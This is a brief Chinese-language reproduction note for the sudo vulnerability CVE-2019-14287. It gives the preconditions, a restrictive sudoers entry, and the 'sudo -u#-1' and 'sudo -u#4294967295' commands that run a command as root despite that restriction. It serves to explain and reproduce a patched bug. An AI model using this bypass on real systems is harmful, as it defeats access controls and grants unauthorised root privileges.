Linux sudo 漏洞 CVE-2019-14287

CVE-2019-14287
分析文章(推荐)
http://blog.itpub.net/69912109/viewspace-2660947/

其他参考
https://www.freebuf.com/vuls/217089.html

利用前提

  • sudo -v < 1.8.28
  • 知道当前用户的密码
  • 当前用户存在于sudo权限列表

复现

  • 创建用户
useradd test_sudo

然后用 root 身份在/etc/sudoers中增加:

test_sudo ALL=(ALL,!root) /usr/bin/id

表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id,如果试图以 root 帐号运行 id 命令则会被拒绝:

[test_sudo@localhost ~] $ sudo id
对不起,用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。

sudo -u 也可以通过指定 UID 的方式来代替用户,当指定的 UID 为 -1 或 4294967295(-1 的补码,其实内部是按无符号整数处理的) 时,因此可以触发漏洞,绕过上面的限制并以 root 身份执行命令:

sudo -u#-1 id
sudo -u#4294967295 id

你可能感兴趣的:(Linux sudo 漏洞 CVE-2019-14287)